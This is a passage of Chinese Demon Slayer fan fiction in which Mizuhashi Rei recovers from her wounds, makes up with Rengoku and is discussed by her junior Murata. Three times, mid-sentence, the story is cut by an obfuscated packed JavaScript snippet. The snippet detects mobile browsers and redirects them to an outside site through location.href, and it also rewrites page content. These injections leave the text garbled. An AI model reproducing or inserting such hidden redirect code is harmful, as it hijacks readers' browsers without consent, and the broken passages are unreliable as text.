老实说,整个战斗九成的过程她都不记得了。不管是发现、追踪、索敌还有攻击她全都不记得了,全都是凭着身体本能去战斗。那种时候她总是没有意识的,要不是最后被美花姐姐突然打了那一巴掌—— 水桥怜衣猛地抬手捂住了自己的脸颊。 “……怎么了?”蝴蝶忍问。 “没什么……”她放下手,喃喃,“没什么。” 美花……美花姐姐…… 原来,她已经连美花姐姐的脸都忘记了啊。 【三十一】 “说起来,甘露寺哭得好厉害呢。” 换好药之后,蝴蝶忍一边收拾着医药箱,一边这样对水桥怜衣说。 “是……是这样吗……” 一阵莫名强烈的心虚袭来,让她不由得缩了缩脖子。 “是的。”蝴蝶忍扣上了手里的医疗箱盖子,笑眯眯地转过头来,“她一路上都很担心你会不会死,哭得超级厉害,把你送进了蝶屋都没有停下。直到我和她说‘已经没事了’她才缓过来,结果因为哭得太厉害打起了嗝,持续了快一个小时才停呢。现在没有趴在你床边守着你是因为她哭着睡着了。” 水桥怜衣:“………………” 不行,突然感觉伤口好痛。 在她准备躺回被子里逃避现实的时候,蝴蝶忍一把抓住了她的衣领。到底是虫柱,小小的手掌有着大大的力气,硬是拽了她一个动弹不得。 “不、许、逃、避——就算不为了让那孩子担心而向她道歉,至少要为之前的不礼貌和冷遇对她道个歉吧?惹你生气的人是炼狱君,甘露寺又没有错。迁怒别人可是很不好的,不好好道歉可不行。” 蝴蝶忍的语气很是认真。 水桥怜衣:“………………” 啊这熟悉的感觉……花柱大人还在的时候忍小姐就是这个样子……要是不认真对待这样的她感觉搞不好会被打…… “……我会去的。”她干巴巴地从喉咙里挤出了几个音,“道歉……我会去的。” “很好。”蝴蝶忍摸了摸她的头,“作为奖励,我会帮你拦着炼狱君的。” 水桥怜衣立马端正坐好。 “非常感谢!” 她这就去找甘露寺蜜璃道歉! 【三十二】 在道歉之前先收获了听说她醒了于是地动山摇跑过来的蜜璃一枚。 粉绿色头发的女孩抱着她哭得那叫一个声势浩大,简直让人忍不住开始思考炎之呼吸是不是在肺活量这方面有什么特别过头的训练技巧。看着搂着自己一边不停地喊着“太好了”“太好了”一边不停地飙泪的甘露寺蜜璃,水桥怜衣迟疑了好一阵,才慢慢伸出手,生疏地在她头上摸了摸。 “嗯……已经没事了。”她不太熟练地斟酌着措辞,“不用……难过……” 甘露寺蜜璃愣了一下,然后抱着她哭得更大声了。 怎么办啊…… 水桥怜衣不知所措地看向蝴蝶忍。现场年龄最小的女孩子露出了沉稳的微笑,伸出手来,把她们两个的脑袋都摸了一摸。 “好啦,水桥这不是好好说出来了吗?”她又摸了摸甘露寺蜜璃的头,“甘露寺也是,不要一直抱着水桥哭啦。她会不知道怎么办才好的。” “唔嗯……嗯!” 甘露寺蜜璃连忙擦掉眼泪,吸了吸鼻子,努力露出一个笑容。 “对不起……我只是……我只是太高兴了。” 她抽噎着说,两手胡乱地擦着脸,努力不让眼泪再掉下来,对两人绽开了大大的笑容。 “怜衣小姐没事真是太好了。大家都好好活着真是太好了。” 水桥怜衣默默捂住了胸口。 不行,面对这个笑容,良心真的好痛啊! 就算是她也会觉得,居然让这样的孩子哭了,自己简直是罪该万死啊! “不过,真好呢。” 甘露寺蜜璃终于擦干了眼泪,两手抓住水桥怜衣的手,拉到自己的心口,一双浅绿色的眼睛因为刚刚哭过还含着水光,亮闪闪地看着自己。 “怜衣小姐杀了下弦,应该很快就会升任为柱了吧?就像炼狱师父那样!”甘露寺蜜璃开朗又天真地笑起来,“下一次柱合会议主公应该就会公开怜衣小姐的功绩了,炼狱先生知道一定会很高兴的!” 卡啦—— “怜衣小姐?怜衣小姐!怎么办小忍——怜衣小姐突然裂开了!!!” 10. 第十章 【三十三】 义勇很困惑。 新上任的炎柱是一个热情开朗的男人。 这一点所有人都看得出来。 富冈义勇也是人,所以他也不例外。 他困惑的地方在于,为什么这个人说着“太好了富冈,一起去吃荞麦面吧”就搭着他的肩膀把他带来了这里。 他为什么在这里?为什么正在和这个人一起吃第七盒荞麦面? “唔姆!好吃!这家的荞麦面果然是最好吃的!虽然分量稍微少了一点,但是好吃!不管是面条还是汤头都很棒!好吃!好吃!老板——给我和旁边的这位都再来一份!” 他要这样说到什么时候呢?这种情况还要继续下去吗? 富冈义勇非常困惑。 但是正如炼狱杏寿郎所说,这家店的荞麦面的确很好吃。所以虽然不明所以,富冈义勇还是接下了老板递来的第八盒荞麦面。 而另一边,炼狱杏寿郎一边接过他的第十盒荞麦面,一边问出了他今天的主要目的—— “说起来,富冈你知道惹了蝴蝶生气的话,应该怎么让她消气吗?” 富冈义勇吸面的动作停住了。 “不知道。”他说,“为什么要问我?” 这种问题难道不是应该去问悲鸣屿或者不死川吗?感觉那两个人和蝴蝶的关系更好的样子…… “哦!因为富冈经常惹蝴蝶生气,所以我觉得你会有办法!” 炼狱杏寿郎发出了爽朗的笑声。 富冈义勇:“?” 富冈义勇:“蝴蝶……生气过吗?” 炼狱杏寿郎的笑声戛然而止。 他难得沉默了一下,随后干脆跳过了这个问题,转进下一话题。 “其实是我最近让蝴蝶生气了,必须解决这个问题才行!所以想听听其他人的意见!” 富冈义勇平静道:“去问其他人。” 问他意见也没有什么意义。富冈义勇自认为并不算了解蝴蝶忍,两人也没有多少相处时间……还是去问其他人比较好吧。 “你的意思是要我问更熟悉蝴蝶的人吗?嗯!我记住了!”炼狱双手环胸,点了点头,“多谢了,富冈,这个建议很有参考价值!” 富冈义勇点了点头,端起茶水喝了一口:“不用谢。” 这样,应该就没问题了吧。 此时的富冈义勇,对自己接下来会遇到什么还一无所知。 【三十四】 富冈义勇不太明白,事情为什么会变成这个样子。 两个人一起吃完荞麦面以后,炎柱说着什么“刚好提到了蝴蝶,富冈,我们一起去蝶屋那里看一下吧”就把他拖了过来。 虽然满脑子都是“为啥”,富冈义勇还是跟了过来。 然后在踏进蝶屋正门的一瞬间就开始后悔。 “哎呀,这不是炼狱先生吗?” 蝴蝶忍笑眯眯地把他们堵在了大门口。 “没有受伤也没有生病真是太好了,看到您如此精神我也很开心。不过就像您看到的这样,蝶屋的病患很多,我也很忙,无·关·人·士可以不要来打扰吗?今天我们可能没法招待您呢。” 然后,蝴蝶忍像是刚看到富冈义勇一样,依然保持着笑容冲他点了点头,说了一句“富冈先生也在啊?下午好”,就转回头继续死死地盯着炼狱。 脸色好难看啊,蝴蝶。是最近太累了吗? 富冈义勇这样想。 也对,她不是刚才说过最近的病患很多吗?会感到疲惫也是理所当然的。不过脸色这么难看……还是应该多休息吧。作为医生,不多注意一下自己的身体可不行。 富冈义勇觉得自己理解了一切。 炼狱倒是给出了意外直率的反应:“还在生气吗,蝴蝶?” “我没有生气呢。”蝴蝶忍微笑着攥紧了拳头,“我·一·点·也·不·生·气。” 炼狱笑了笑:“总是隐藏真实的心情可不好,会影响健康的。你是医生,应该比我更明白这个道理。” “怎么会?我只是希望炼狱先生快点离开而已。”蝴蝶忍依旧微笑着,但是额头上却有一根青筋跳啊跳的。 “是吗?”炼狱无可无不可地应了一声,“我是来看怜衣小姐的,可以让我进去吗?” “水桥不想见你。”蝴蝶忍微笑着说。 “我必须向她道歉才行。”炼狱的目光没有一分闪躲,“我做了欠考虑的事情,她会生气也是理所当然的,我想,我还是应该好好和她道个歉才行。” “都说了水桥不想见你吧?”蝴蝶忍把门挡得更严实了,“那家伙的伤口才愈合不久,要是看到你把伤口气裂了我可是会很难办的。可以不要给我增加无意义的工作吗?” “我保证不会说让水桥生气的话!”炼狱大声说。 蝴蝶忍的额角抽动了一下:“不是,你要怎么保证啊……富冈先生?” 富冈义勇停下脚步,回看了一下同时停下争吵看向他的两人。 “你们吵完了吗?” 看样子两个人应该还有得争了,他一个无关的人还是不要在这里碍事了。将心比心,如果有完全不知道情况的外人混在这里,围观了自己和朋友的吵架现场,他应该也会觉得尴尬吧… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863464|191728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … “我先走了。”富冈义勇说。 “……富冈先生,到底是来干什么的呢?” 蝴蝶忍抬起手来,压了一下脖子上乱跳的青筋。 “哦,其实是我拉他来的。”炼狱抬起手臂,压住义勇的肩膀,“因为蝴蝶不是抱怨过吗?富冈受了伤也不来蝶屋,已经很久没有过来做过复查了,我今天看到他就顺便拉过来了!” 富冈义勇:“?” 富冈义勇:“首先,我没有受伤……” “富、冈、先、生。”蝴蝶忍笑眯眯地转向他,“我有听隐的人说过呢,您上个月在任务里有受过一·点·小·伤,您那时候是怎么解决的?” 那种伤放着不就自己好了吗…… 富冈义勇张了张嘴,话还没出口就被蝴蝶忍打断了。 “还有,您确实很久没有来蝶屋复查过了。就算是柱,也不能保证自己的状态一直很好,定期的复查和体检还是必要的。可是富冈先生,已经有两年没有来参加过检查了吧?” 蝴蝶忍向他逼近,面上笑容不知为何让人有点背后发凉。 “可以请您配合一下我的工作吗?” 我没有不配合工作。我只是觉得蝶屋照顾伤患已经很辛苦,医护的时间很宝贵,不应该浪费在我这种人身上…… 富冈义勇这样想着,动了动嘴唇。 “我不需要。”他说。 啪嗒。 蝴蝶忍的某根血管或者神经应声崩断了。 “富·冈·先·生——” 她向前踏出的一步异常用力,让地板都震了震,富冈义勇几乎有了一种木制地板都被踏出了裂纹的错觉。 这让他下意识往身边把自己置于这一境地的男人看去。 “炼狱……?” 富冈义勇茫然地睁大了眼。 那么大一个炎柱跑哪里去了? 蝴蝶忍猛地回过神来,眼疾手快地往身边一拉,想把人拽住。 她只拽到了一件白底红炎纹的羽织。 炼狱的身影消失在了走廊的尽头,只留下一句:“抱歉蝴蝶!我去跟怜衣小姐道个歉就回来!” 蝴蝶忍:“……” 人在气极了的时候也是会笑的。 富冈义勇今天第一次领悟到了这个道理。 “好了,富冈先生。” 蝴蝶忍笑眯眯地把那件被捏出皱痕的羽织丢到一边,对他伸出手来。 “先把您欠下的检查补上一遍吧。” 富冈义勇:“………………” 他真的很想知道,他究竟为什么会在这里。 11. 第十一章 【三十五】 炼狱杏寿郎进来的时候,水桥怜衣正在吃饭。 一看到炼狱,她就是一阵剧烈的咳嗽——没办法,饭呛到肺里了,不咳出来可不行。 “慢一点。” 宽大而又有力的手掌一下又一下拍着她的后背,因为是炎之呼吸的使用者,炼狱杏寿郎的体温一直偏高,隔着衣服都能感觉到手掌火热的热度。青年的声音很沉稳,让人不自觉地去信服。 “抱歉,突然过来结果吓到你了。是我不好。慢一点咳,小心伤口,怜衣小姐。” 那到底是谁的错啊?! 水桥怜衣终于把呛进去的东西咳了出来,她用手帕擦了擦脸,很是无语地回过头看着这个阴魂不散的男人。 蝴蝶忍不是说会帮她拦着他的吗?就这么拦的? “我绕过蝴蝶偷偷进来的。”炼狱似乎看出了她的想法,笑了笑,然后在她的病床边缘坐下,“我是来道歉的——抱歉,怜衣。之前让你担心了。” 水桥怜衣侧过脸去,因为实在是不想看到这个家伙的脸。 “我没有担心。”她说,“你要怎么样完全和我没有关系。” “你又说这样的话。”炼狱又笑了一下,“很伤人的,怜衣。” 你这家伙还知道“受伤”两个字怎么写吗? 水桥怜衣把脸扭了回来,难以置信地看着这个总是满脸都写着开朗的大猫头鹰。 “或者应该说……会让人觉得有点寂寞吧。” 他微微敛了笑,这样对她说。 炼狱杏寿郎在微微垂下眉眼,又不太笑的时候,其实和他弟弟看起来很像。 那种相像并不是指外貌上的——毕竟以炼狱家那种一个模子里翻出来的配色和长相,想要在外貌上有所不像还比较困难——而是一种气质上的相像。 和自己的哥哥相比,千寿郎是一个更不自信的孩子。眉尾总是微微下垂,像是在思索着什么,为某些东西感到为难的样子。和总是表现得异常豪爽、甚至是有点粗犷的炼狱杏寿郎不一样,千寿郎看起来就是一个心思更细腻、也更容易受伤的孩子。 但是,作为同期,水桥怜衣知道,这对看起来大相径庭的兄弟,本质上并没有那么大的不同。 炼狱杏寿郎的确更为刚强、更为豁达,也更为坚毅——但是,这并不意味他的心思就不细腻,他也不是真的不会感到难过。 虽然这家伙总有办法克服这些,甩开这些……可当他露出这样的表情时,作为让他露出这样表情的人,她实在是无法不感到心里正在生出一种罪恶感。 ……真是让人烦躁的家伙。 水桥怜衣再度别开了脸。 “稍微多考虑一点身边的人吧。”她说,“和我不一样,你是有家人的——至少如果你死了,千寿郎肯定会哭的。” 我才不会哭。 她想。 我才不会为你这样的讨厌鬼而哭。 “抱歉,让你担心了。”他又重复了一遍,而后微微地笑起来了。 真是的,他还是眉尾抬上去的样子顺眼。 水桥怜衣在心里想。 猫头鹰还是抖擞羽毛的好。 “我会努力精进剑术和呼吸,不让自己死掉的。”炼狱杏寿郎认真地说,“我会比之前更加努力地修炼,不断地变强。在战斗时也会更注重收集情报,让自己更少受伤。” 那双金红色的眼睛一瞬不瞬地看着她,像是某种不会熄灭的火焰,正在烈烈燃烧。 “虽然没法保证绝对不会死。”炼狱杏寿郎露出了坦然的笑容,“但我绝对会拼命活下去的,就算只有一口气也会拼命活下来的,我向你保证。” 真是……过分的男人。 水桥怜衣的手指抽搐了一下,垂下眼睛,这样想。 总是理所当然一样说出这种话……这种地方,太讨厌了。 “不用向我保证。”她不愿意去看那张脸,“我才不……” 才不什么呢? 是才不在乎,还是才不想听,还是才不相信呢? 都不重要了。 因为,炼狱在这个时候,把自己的手搭上了她的手,比常人温度更高的手覆盖在她冰凉的手指上,然后,稍微用力地握住了。 “所以,和好吧。”他说,“我们和好吧,怜衣。” 水桥怜衣整个地僵住了。 心脏在加快蹦跳的速度,血液冲刷着耳膜和脑膜,她下意识挣动了一下手指,却被更加用力地握住了——不会让她疼,却也难以挣脱。 “……” 水桥怜衣轻轻动了动嘴唇。 ——可以挣脱吗? 在这个地方,用上全力的话,可以挣脱这个人吗? ……还是算了吧。 她太累了,也没有力气了。 “你这种地方……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863465|191728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她用力地,狠狠地抓紧了他的手。用力到骨节都凸显出来,指甲都要刺进他的肉里去,掐出一个又一个月牙形的印子。 “……真是最讨厌了。”她说。 “嗯!” 炼狱杏寿郎笑起来,他伸长了手臂,用力抱住了她。让她的额头靠在他的颈边,用有点刺啦的金红色头发,还有自己的脸颊,在她的鬓边轻轻摩挲了一下。 “那就是和好了!怜衣小姐!” 他开朗地大声说。 伤口开始痛了。 被这样抱住,伤口又开始痛了。 水桥怜衣拧着眉毛,把手握成拳头,用力地在炼狱的背后敲了一下又一下。 “放开……给我放开!我没允许你抱过来!可恶!别在这种地方学甘露寺啊!你是她师父吧!还有你又不是女孩子!男人不许抱过来啊!” “嗯!抱歉!我太开心了!” “……都道歉了倒是给我放手啊!混蛋!” 【三十六】 “对了,这次我来其实还有一件事!” 炼狱杏寿郎顶着一个巴掌印坐直了身体,依旧目光炯炯直视着前方,像是根本没看到水桥怜衣正攥着拳头青筋乱跳忍耐着不要把他打出去的样子。 “……什么?” 水桥怜衣放下拳头,捂着胸口,忍耐地呼出一口气来。 “主公大人已经决定承认你为‘柱’了。下次柱合会议就会公布这个消息。” 炼狱杏寿郎露出了相当为她骄傲的笑容。 “不愧是怜衣小姐!同时满足了‘斩杀50个鬼’和‘击杀十二鬼月’两个晋升条件的剑士可是很少见的!今后我们就一起作为支柱,共同支撑鬼杀队吧!” 水桥怜衣几乎呕出一口血来。 不是、等会儿?杀掉下弦的事她有听甘露寺说过,但她什么时候杀够五十只鬼了?到底什么时候?之前不是还差十来只吗?在她失去意识的那段时间杀够数的吗??? “嗯,是啊。”炼狱杏寿郎对她露出开朗的笑,“第五十只鬼就是下弦,还真是巧啊!这样一来大家都会对你心服口服的!” ……那倒是给我提前来啊!!! 运气、她的运气就不能再好一点点吗??? 水桥怜衣捂着胸口,一时只觉得自己伤得更严重了。 算了,还是睡吧。 至少梦里还比较清静。 12.第十二章 【三十七】 村田提着新买的点心,到蝶屋来看望自己的师姐。 作为新升任的庚级队士,自己的师姐却是甲级,最近还斩杀了下弦之鬼,眼看就要升格为柱……理论上来说应该是一件让人心里多少有点不平衡的事,村田的心态却意外的很平和。 首先,他同期的剑士里已经有人早早就当上了柱,还是水柱,同为水之呼吸的使用者,要有什么不平衡那时候已经不平衡完了; 其次,作为这段时间陪着师姐东奔西跑的苦力,村田深刻认识到了自己的师姐到底是个多么可怕的怪物,光是要跟上她不要把人丢了,就已经耗尽他全部的体力了。 他每次气喘吁吁跟到现场的时候,都会看到已经杀完鬼茫然站在月色下的师姐,以及她身边支离破碎正在消散的恶鬼,场面之血腥之恐怖,让他觉得比起师姐的行事风格来说,别的也没什么不好接受的了。 说起来,到底是师姐的体力太好还是他太废了啊,每次追着她跑都能把他累死,师姐居然还能杀鬼,还是虐杀,还不怎么受伤……都是一个师傅教出来的,差别怎么会这么大啊! 因为缺乏保养和自尊心受挫,村田引以为傲的头发都失去了平日的光泽。 不行好羞耻,一想到当初自己还因为比师姐早了一年参加最终选拔而沾沾自喜就觉得好羞耻…… 村田抬起手来,啪的一声在两边脸颊上拍了一下,告诉自己快点振作起来,不要在这里自怨自艾了。 说到底!师姐还是很需要他的! 他握了握拳,在心里给自己鼓劲。 还在师父那里的时候,师姐就有太过投入训练会完全忘记外界的毛病。那个时候她脑子里只有一件事,就算喊她吃饭喊她睡觉她也听不见,而是全心全意只想着训练或者杀鬼,不把饭递到她手上她就不会吃,不把累到断片的她拖到床上她甚至不会有至少找个被窝再躺下的意识。以前负责干这个活儿的都是师父,现在就轮到他这个师弟了! 村田握了握拳,在心里给自己鼓劲。 加油啊村田!虽然你无法成为师姐和水柱大人那么厉害的角色,至少可以在他们需要的时候提供一点力所能及的支持! 村田振作起精神,拿起自己新买的点心就扬起笑容,努力让自己的声音听起来又开心又有精神—— “打扰了师姐——我来看你……了……” “炼狱杏寿郎你给我出去——!” 门还没敲就啪的一声打开,从里面倒着走出来了一个相当健壮的男人,一个软绵绵的枕头被咚的一声丢在他脸上,男人的身体因为这样微微后倾了一下,恰好撞到了村田。 “啊,抱歉。”对方很顺手地拉住了他,枕头下落,露出了一双炯炯有神的金红色眼睛,男人的微笑没有一丝改变,声音也一如既往的有魄力,“嗯,你是来看望怜衣的吧,她现在心情不是很好,过会儿再来吧。” ——为什么炎柱大人会在这里啊?! “我心情不好到底是谁的错啊?!” 病房里传出了师姐的怒吼,从这都快要破了的尾音来看,师姐现在的心情何止是“不是很好”可以形容的啊……他认识师姐这么些年就没听过她发出这种声音啊! “是吗,抱歉!”男人笑着,把手上的枕头放在了门口的矮柜上,“我还有任务,先离开了,怜衣小姐好好休息!伤口还是要多修养才会好!” “我%※&#&……” 啊,师姐好像气得捂着胸口倒下去了。 村田张了张嘴,看看里面又看看外面,然后还是选择默默将点心放下了,甚至没敢多看病房里面师姐的脸色,赔了个笑就快速地拉上了门。 反正……师姐看起来也清醒了……应该就不需要他了吧…… 说老实话,对于这个师姐,村田一向是心里发怵的。 如果没有必要(不到万不得已的时候),他都尽量不和师姐接触。 倒不是说他讨厌这个师姐……而是,人对于太过凄惨的东西,总是会下意识移开视线,就像不兴多看荒野里的死尸。 不过师姐现在还真是比以前有活力多了啊……要是以前,就算是失去意识的师姐他也是不敢跟上去的。 正当村田这么想着的时候,一只手从背后搭上了他的肩,他回过头去,正好对上了炎柱大人依旧微笑的脸。 ……你不觉得这样很吓人吗炎柱大人?! “你是怜衣小姐的师弟吧。”对方那双炯炯有神的金红色眼睛直视着他,莫名让村田感觉到了一阵极强的魄力,“她应该还要再休息一会儿,在那之前我们先去吃点东西!” 不是、为什么?我们之前认识吗?还有为什么我要和你一起去吃东西?我们今天不是第一次见面吗?救命啊我不想和柱一起吃东西!压迫力好强,感觉不能呼吸了!师姐、师姐救命—— 村田内心的呐喊当然无法传达到水桥怜衣那边,更何况他的师姐对上这个男人也是自身难保。他只能维持着绝望的表情被炼狱杏寿郎拖走,两个人勾肩搭背的样子在不知情的人看起来简直关系好到令人妒恨。 ‘师姐——————————’ 村田只能绝望地在内心嘶喊。 【三十八】 “你想知道师姐以前的事?” 村田吸溜了一口乌冬面,露出了为难的神色。 “不过我也不太清楚啊……我来的时候师姐已经在了,师父没有提过她以前的事,师姐也不喜欢说话。事实上,刚来的时候,我一直以为她是师父的孙女呢。” 村田的培育师是水之呼吸的剑士,一位名叫中岛的老人,当然,那位老人并没有当过柱,实力以现在的村田来看,也算不上非常厉害。但中岛老爷子是很少有的全手全脚活到了四十五岁,因为体力不济从鬼杀队退役,转而去为鬼杀队培育新生血液的人。 村田经常听中岛师父吹嘘他过去的战绩,和什么什么样的柱合作过(“只是单纯被救了吧”by.村田),还见过一次十二鬼月(“这样都活下来了吗?!”by.村田),救过多少多少人……师父闲的没事就喜欢回忆自己的事,村田听得耳朵都要长茧了。 但这样的师父,从来没有提过师姐的事。 而师姐…… 村田一直觉得,自家师姐别说不喜欢说话了,她可能都不喜欢活着。 “师姐好像是师父收养的孩子,我到师父那里的时候她已经十三四岁了,但看起来还是很小,很瘦,不管师父给她吃多少东西她都胖不起来。我那时候还以为她才七八岁呢,师父和我说她比我大的时候我吓了好大一跳。” 村田夹了一筷子乌冬面送到嘴里,一边吃一边回忆着。 虽然说是师姐,但其实她真正开始修行水之呼吸的时间比他还晚。师父一开始似乎并没有想要她也做剑士,只是像养孙女一样养着这个孩子。 “但是师姐她啊……是天才来着。” 村田停下筷子,忍不住感慨起来。 “因为师姐身体很差,非常虚弱,那时候她人也很瘦小,师父完全没打算教她呼吸法,也不打算教她练剑。她一开始只是每天坐在房檐下面看我们练习。” 说到这里,村田苦笑起来。 “然后她就学会了。” 回想起那时候的事,村田还是不由得捂了一下胸口。 站在他的面前,拧着眉头看着他的师姐,脸上的表情严肃得不可思议。她从他的手里拿过木刀,说着“这里做错了”,就给他重新演示了一遍。 “我开始还以为是师父教她的,结果师父回来看到她用出水之呼吸的一之型也吓了一大跳。后来我们一起问她,才知道她每天去山上不是去玩,而是一个人去练习了。” 回想起那时候的事情村田就忍不住捂脸。 他当时还傻乎乎地问师姐“就这么看一遍你就学会了”……结果被对方用看傻子的眼神看了。 “师父至少教了你三十遍吧。”女孩子拧着眉头,“每个要点都拆开来,一次又一次跟你讲过了,我耳朵都要听出茧子来了。还示范了那么多次,就算是我也看会了。” 她抬手用木刀劈在他的木刀侧面,强迫他把剑锋抬高。 “就像这里,你在这里的动作总是不对——师父都纠正过你好几遍了,你为什么就是记不住呢?” …… 不堪回首。 实在是不堪回首! 村田好不容易才从被优等生制裁的恐怖中回过神来,就听到旁边的炎柱大人发出了一声很大的“唔姆”。 “果然怜衣小姐是非常努力的人!” “不对吧?这时候难道不应该夸她真的是天才吗?” 村田吐槽。 “比起天赋,更重要的是她的努力!”炼狱杏寿郎笔直地看着前方,神色很是认真,“怜衣小姐一定是非常专注地在看你们的动作,努力去记下每一次讲解和要点吧。她应该是把能够理解和不能理解的东西都硬背下来了。你说她有一个人去山里练习,恐怕是因为害怕师父不愿意教她,才会自己一个人躲起来学习,一直练到可以用出来了,才拿出来给人看。” 炎柱大人说到这里,又像是在为当年的那个孩子感到骄傲似的笑了。 “比起天赋,怜衣小姐能够学会水之呼吸更多的是因为她的认真和努力。她能纠正你的错误,恐怕是因为她一个人纠正自己的偏差纠正了很多次,才会知道你在那里为什么会出错,怎么改正才是对的。” 原来……原来是这样吗…… 村田恍然大悟! ‘师姐——————————’ 这一瞬间,他几乎要为自己过去对师姐的误解而愧疚到涕泗横流了。 【三十九】 但是等等,炎柱大人你到底在对着哪里说话啊? 在跟你说话的人是我吧!你到底在看哪里啊?! 【四十】 “不过师姐的水之呼吸用得其实很差……虽然我没资格说就是了。” 到现在还砍不出一朵小水花的村田心虚地挠了挠脸颊。 “可能是因为她一开始就是自学的,所以从一开始就学歪了吧……师父也说她不适合水之呼吸。后来师姐就自己一个人在那琢磨,最后还真的给她琢磨出来了自己的呼吸法。” 想到师姐用自创的【怨之呼吸】杀鬼的样子,村田不由得狠狠打了个冷颤。 别说人了,鬼看了都害怕。不求最高效率,只求折磨对手。不如说那根本就是虐杀。听说以前还有新人跟她一起去执行任务结果吓病了……以师姐的行事风格来说,他也不意外就是了。 “可能是为了让她更加熟练地掌握自创的呼吸法,也可能是因为不放心吧……师傅训练我用了两年,训练师姐却用了三年。” “原来如此!” 炎柱大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865007|191728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人点了点头,村田刚想吐槽你在“原来如此”些什么啊,就听到他爽朗的声音。 “怜衣小姐是因为这样才一直觉得自己没有天分啊!” 村田一口乌冬面汤直接呛到了肺里。他趴在桌子上咳了好久才咳出来。 “不是、谁?咳咳咳咳咳咳咳咳——”他掐着自己脖子,从嗓子里挤出一声怪叫,“你说谁觉得自己没有天分???师姐???我师姐觉得她没有天分???” 村田觉得自己这口气是顺不过来了。 不是,自学水之呼吸,十来岁就自创了一门呼吸法,年纪轻轻就被花柱大人看中收为继子,一路杀鬼如切菜晋升甲级剑士,还斩杀了下弦之鬼马上就要升任为柱了……她这叫没有天分???那他叫什么?废物吗??? 哦,师姐可能真的是这么想的,那没事了。 村田的咳嗽终于平复了下去。 “因为怜衣小姐一直觉得自己很没用吧。”炎柱大人若无其事地做出了相当不得了的评价,“她大概是始终没有办法忘记那段时光吧——虚弱到连刀都拿不起来,被培育师认定为‘无法使用呼吸法’的那段时间。” 村田怔了一下。 他又回想起了那时候的师姐。 瘦弱到可以看到支出来的骨头,看起来只有七八岁小孩的样子,却一点也没有小孩子的圆润。 她总是吃很多东西,个子也长得很快,或许是全部营养都拿去长个子了,师姐身上始终没有多少肉。他去参加最终选拔的时候,师姐看起来已经有十岁的样子了——但她明明比他还要大两岁啊。 看着那样的孩子,谁也不会相信她能够拿起剑,能够用好呼吸法的。只要见过那样的师姐,没有人会相信她可以挥得动日轮刀,可以砍得下鬼的头。鬼见了都会觉得她咯牙。 所以师父一直把她留着,留到再也留不住为止。 “怜衣小姐大概是对那样的自己很生气吧。”炎柱大人说,“对于没法很快就掌握呼吸法的自己,在培育师那里学习了三年才拿到选拔资格的自己,一开始还需要借助各种陷阱和助力才能砍掉鬼的头的自己……她很生气吧。弱小、不合格、没有能力、只能被保护、被他人怜悯……她大概就是那么想那时候的自己,应该也觉得别人都那么看她的。” “……我从来没有那么想过。”村田喃喃,“我和师父都没有那么想过。” 师姐非常努力。 他和师父都是知道的。那是一种会让从旁边看的人都感到害怕的努力。为了训练他们而设下的机关,她从来都不会只躲过就了事,而是去研究、分析和学习。和只满足于活着下来就好的他不一样,师姐用一种可怕的魄力,每一次都要求她自己下一次做到更好。师父从来不会指责师姐,因为没有人比她自己更能苛待她自己。 就算训练到失去意识也不会放下手中的刀,凭借身体的本能去行动——这种事情村田是做不到的,恐怕师父也做不到。所以他们只能默默守望着她,在她需要帮助的时候把她带去休息、喂她吃饭。 师姐变得强大了,村田其实非常高兴。比起羡慕或者嫉妒,他最先感受到的其实是欣慰——那样的努力怎么可以不得到回报呢?师姐付出了旁人无法付出的心血,会变得强大是理所当然的。 但是,师姐甚至没有意识到这一点吗? “谢谢你,炎柱大人。” 村田用一种充满气势的动作开始往自己嘴里塞乌冬面,一边吃一边感觉自己浑身都燃起了干劲。 “我回去就给师父写信。” 师父!这里有个人应该挨骂了师父!!! “唔姆!那我就放心了!” 炎柱发出了开朗的笑声,把他手里的大碗摞在一旁高高的碗堆上,开始吃他第十二份乌冬面。 可恶啊柱都是这么能吃的吗……说起来师姐以前吃得也很多(虽然吃不了这么多)……难道决定性的差距是饭量吗?! 村田一边更用力地吸着乌冬面,一边胡思乱想。 不行,不能只让师父写信,他也要写!就算不能像师父那样痛骂师姐一顿他至少也要表达一下他的关心! 虽然师姐很可怕、虽然师姐真的很可怕! 明明和师姐认识了很久但是从来没发现师姐还有这种想法的自己实在是太不……………… 村田突然清醒了过来。 ——不对啊这不能怪我吧? ——师姐平时除了纠正他剑术的时候会骂他之外根本都不说话的啊?! ——师姐一直都是那个样子,她又不说他怎么会知道啊!他又不会读心! 等会儿。 村田的动作彻底停住了,他觉得刚才吃下去的面哽在他的喉咙口,噎得他都上不来气了。 “炎柱大人……是怎么知道的?”他小心翼翼地问,“就是……师姐觉得自己没有天分这件事。” 